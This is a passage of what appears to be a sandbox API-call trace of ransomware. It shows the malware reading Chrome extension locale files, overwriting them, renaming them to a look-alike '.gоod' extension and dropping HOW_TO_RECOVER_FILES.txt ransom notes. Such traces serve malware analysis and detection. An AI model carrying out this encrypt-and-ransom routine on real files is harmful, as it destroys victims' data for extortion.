cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0244.833] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0244.833] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0244.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0244.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0244.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0244.833] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu", lpFilePart=0x0) returned 0x7b [0244.833] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84b7b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8cb7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84c8cb7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0244.834] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84b7b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8cb7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84c8cb7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.834] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84c8cb7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8c12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0244.834] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84c8cb7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8c12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0244.834] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0244.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0244.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0244.834] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json", lpFilePart=0x0) returned 0x89 [0244.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0244.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3a22290 | out: lpFileInformation=0x3a22290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84c8cb7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8c12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11e)) returned 1 [0244.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0244.835] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json", lpFilePart=0x0) returned 0x89 [0244.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0244.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0244.835] GetFileType (hFile=0x828) returned 0x1 [0244.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0244.835] GetFileType (hFile=0x828) returned 0x1 [0244.835] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x11e [0244.836] ReadFile (in: hFile=0x828, lpBuffer=0x3a22768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3a22768*, lpNumberOfBytesRead=0x209ebc98*=0x11e, lpOverlapped=0x0) returned 1 [0244.836] CloseHandle (hObject=0x828) returned 1 [0244.863] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json", lpFilePart=0x0) returned 0x89 [0244.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0244.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0244.864] GetFileType (hFile=0x828) returned 0x1 [0244.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0244.864] GetFileType (hFile=0x828) returned 0x1 [0244.864] WriteFile (in: hFile=0x828, lpBuffer=0x3a9a4e0*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3a9a4e0*, lpNumberOfBytesWritten=0x209ebba8*=0x120, lpOverlapped=0x0) returned 1 [0244.865] CloseHandle (hObject=0x828) returned 1 [0244.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json", lpFilePart=0x0) returned 0x89 [0244.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0244.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0244.865] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84c8cb7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8c12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e2a4f59, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0244.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0244.865] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.gоod")) returned 1 [0244.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0244.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0244.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0244.867] GetFileType (hFile=0x828) returned 0x1 [0244.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0244.867] GetFileType (hFile=0x828) returned 0x1 [0244.867] WriteFile (in: hFile=0x828, lpBuffer=0x3a9de18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3a9de18*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0244.868] CloseHandle (hObject=0x828) returned 1 [0244.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0244.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi", lpFilePart=0x0) returned 0x7b [0244.868] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84d9e2e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e1327, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84e1327, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0244.868] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84d9e2e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e1327, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84e1327, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.869] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84e1327, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e39c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0244.869] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0244.869] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0244.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0244.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0244.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0244.869] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi", lpFilePart=0x0) returned 0x7b [0244.869] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84d9e2e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e1327, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84e1327, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0244.869] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84d9e2e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e1327, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84e1327, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.869] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84e1327, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e39c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0244.870] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84e1327, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e39c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0244.870] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0244.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0244.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0244.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json", lpFilePart=0x0) returned 0x89 [0244.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0244.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3aadde8 | out: lpFileInformation=0x3aadde8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84e1327, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84e39c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x13e)) returned 1 [0244.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0244.871] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json", lpFilePart=0x0) returned 0x89 [0244.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0244.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0244.871] GetFileType (hFile=0x828) returned 0x1 [0244.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0244.871] GetFileType (hFile=0x828) returned 0x1 [0244.871] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x13e [0244.871] ReadFile (in: hFile=0x828, lpBuffer=0x3aae2e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3aae2e0*, lpNumberOfBytesRead=0x209ebc98*=0x13e, lpOverlapped=0x0) returned 1 [0245.469] CloseHandle (hObject=0x828) returned 1 [0246.219] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json", lpFilePart=0x0) returned 0x89 [0246.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0246.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0246.220] GetFileType (hFile=0x768) returned 0x1 [0246.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0246.220] GetFileType (hFile=0x768) returned 0x1 [0246.220] WriteFile (in: hFile=0x768, lpBuffer=0x3782588*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3782588*, lpNumberOfBytesWritten=0x209ebba8*=0x140, lpOverlapped=0x0) returned 1 [0246.220] CloseHandle (hObject=0x768) returned 1 [0246.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json", lpFilePart=0x0) returned 0x89 [0246.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0246.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0246.221] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), 